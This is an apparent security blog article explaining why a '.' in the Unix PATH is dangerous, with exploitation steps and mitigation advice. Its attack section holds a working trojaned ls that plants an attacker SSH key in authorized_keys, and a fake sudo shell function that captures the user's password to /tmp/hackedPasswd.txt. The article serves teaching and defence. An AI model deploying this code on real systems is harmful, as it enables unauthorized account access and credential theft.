Misconfigured PATH


An environment variable is a dynamic-named value that can affect the way running processes will behave on a computer. They are part of the environment in which a process runs. For example, a running process can query the value of the TEMP environment variable to discover a suitable location to store temporary files, or the HOME or USERPROFILE variable to find the directory structure owned by the user running the process.

PATH is also an environment variable in Linux and other Unix-like operating systems. It holds a list of directories separated by colons. When you type a command name without giving an explicit path (e.g. you type ls, rather than /bin/ls) your shell searches each directory in the PATH list, looking for an executable file by that name. The shell will then run the first matching program it finds.

The problem

The . indicates the current directory. Some administrators add . to their PATH so they could run programs in the current directory like this:

some-program.sh

Instead of this:

./some-program.sh

That seems very convenient doesn’t it?

Consider the case when the . is at the front of the PATH. This means that the current directory will be searched first for the program the user wishes to run. Meaning, if the admin types ls in a publically-writable directory and someone has planted a malicious ls program in that directory, the malicious program will be executed as the admin user.

Note:

  • Even if the . is at the end of the PATH, the admin is not in the clear. It can save them from overriding system-wide binaries, but if the admin accidentally mistypes ls as sl, and there happens to be a malicious program named sl in that very same directory, the malicious program will be executed.

Exploitation

Let’s say someone wants to escalate their privileges and they know that the admin of the server has put a . in the beginning of their PATH. First they should plant a malicious program in a directory where the admin will surely run it. Let’s say that the directory is located at /tmp and they want to hijack the ls program.

They can create the file and make it an executable: touch /tmp/ls && chmod +x /tmp/ls

The contents of the file should be:

echo "SUPER-EVIL-SSH-PUBLIC-KEY-HERE" >> ~/.ssh/authorized_keys && /bin/ls

When the admin executes the malicious executable, it will add the SSH key to their authorized_keys file, which will allow using SSH to access their account. Also, using the && /bin/ls part will show the correct ls output, making the victim less suspicious.

Note:

  • You can also copy-paste the same malicious program with the names l, s, sl, ll as those are the common typos or aliases used.

Stealing the password

If the user is a sudoer, someone might want to steal their password to gain even higher privileges. There is a wonderful article with an in-depth tutorial on how to do this here. In the article, the author has left comments explaining what each line does.

The following script can be added to ~/.bash_profile or ~/.bashrc:

function sudo () {
    realsudo="$(which sudo)"

    read -s -p "[sudo] password for $USER: " inputPasswd

    printf "\n"; printf '%s\n' "$USER : $inputPasswd" >/tmp/hackedPasswd.txt

    $realsudo -S <<< "$inputPasswd" -u root bash -c "exit" >/dev/null 2>&1

    $realsudo "${@:1}"
}

In short, this script creates a false sudo command that lets anyone hijack the password and make it seem like everything is fine to the user. After the user has executed the sudo command, the password can be found in /tmp/hackedPasswd.txt.

The difference between .bashrc and .bash_profile

.bashrc is sourced by local users and .bash_profile is sourced by users who use SSH to connect to the server. So for example, if the user uses SSH to connect to the server and the password stealing function is in .bashrc, their password won’t be stolen.

Mitigation

The mitigation is really straightforward - just don’t add a . to your PATH variable. If you do this, you’ll need to type ./some-program.sh instead of some-program.sh to run programs in the current directory, but the increase in security is definitely worth it.

To show the PATH:

echo $PATH

To update the PATH:

export PATH="new-path-here"

You should also check all the files that are used to source the PATH variable, like .bash_profile or .bashrc.

Conclusion

Security should always come before convenience. To be on the safe side, do not add a . to the PATH variable. Without it you’ll need to type ./some-program.sh instead of some-program.sh to run programs in the current directory, but I’m sure you’ll manage.

Heino Sass Hallik